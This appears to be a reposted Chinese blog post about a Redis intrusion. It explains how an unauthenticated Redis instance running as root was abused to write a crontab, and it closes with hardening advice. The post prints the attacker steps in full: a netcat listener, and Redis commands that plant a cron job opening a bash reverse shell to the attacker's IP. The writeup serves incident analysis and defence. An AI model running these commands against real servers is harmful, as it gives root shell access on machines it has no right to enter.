收藏本页 | 设为主页 | RSS
LOGO

我就上乐乐吧

在例常巡视中,却发现某台服务器的Redis错误日志有如下信息报错:

您当前的位置:首页 » 技术杂萃
全站公告
重要提示!

本站收集各类美图,以无LOGO原汁原味图为主!欢迎大家交流。
怕失联,请认准如下地址:
微博:传送门
土豆:传送门
电报:传送门
微信:superimagelove
花瓣:传送门
Q群1:231151757
Q群2:583138281
文件解压密码:593668.com
热心赞助

站内搜索
 
相关文章
热门文章
热搜词组
文章归档
友情链接
Redis一次入侵事件

发布日期:2020-01-23  关键词: Redis

在例常巡视中,却发现某台服务器的Redis错误日志有如下信息报错:
Failed opeNing the RDB file root (in server root dir /var/spool/cron) for saving: Permission denied

感觉是有点很奇怪,这台服务器是测试服务器,且对外公开了Redis,并没有设置密码,那么Redis为什么要特意去写/var/spool/cron这个文件呢。

要知道这个文件就是用来保存定时任务的,crontab生成的定时任务都保存在这个目录下。那为什么Redis要特意来写这个目录呢?网上搜了下,才知道是因为被攻击了。具体的攻击手段大体如下:

如果Redis是以root权限来运行时可以就可以写crontab来定时执行命令反弹shell,手段当然也比较简单,先在自己的服务器上监听一个端口:

# nc -lvnp 7999

然后在连接Redis成功之后,执行如下命令:
192.168.1.2:6379>sex x "\n* * * * * bash -i >& /dev/tcp/192.168.1.128/7999 0 >&1\n"
192.168.1.2:6379>config set dir /var/spool/cron/
192.168.1.2:6379>config set dbfilename root
192.168.1.2:6379>save

原理大家也很清楚,config set命令可以在Redis运行的时候修改全局配置。上面的命令就是可以把一个定时任务保存到/var/spool/cron/root文件中,然后crontab服务就会按照这个定时任务去执行。

执行的结果就是反弹到nc监听端口并获取到shell,还是root权限的,接下来就可以为所欲为了~?

所以为了安全,在Redis的配置文件中,需要做到如下:

a.最好绑定到特定的内网IP
bind 127.0.0.1 ::1

b.如果一定要对外,那么必须设定密码,并更改端口号
port 16379
protected-mode yes
requirepass yourpassword

c.启动Redis不要用root用户
可以增加一个redis用户,然后使用它来启动Redis。
# groupadd gredis
# useradd -r -g gredis -s /bin/false redis
# sudo -u redis /usr/bin/redis-server /etc/redis.conf

看来是项目组的某成员为了省事,对于Redis的安全关注不够,随意修改配置,导致这么一个大的漏洞,大家以后可以引以为戒啊,特别要注意。
猜您喜欢:
Q群: 231151757微信:superimagelove 官网:www.593668.com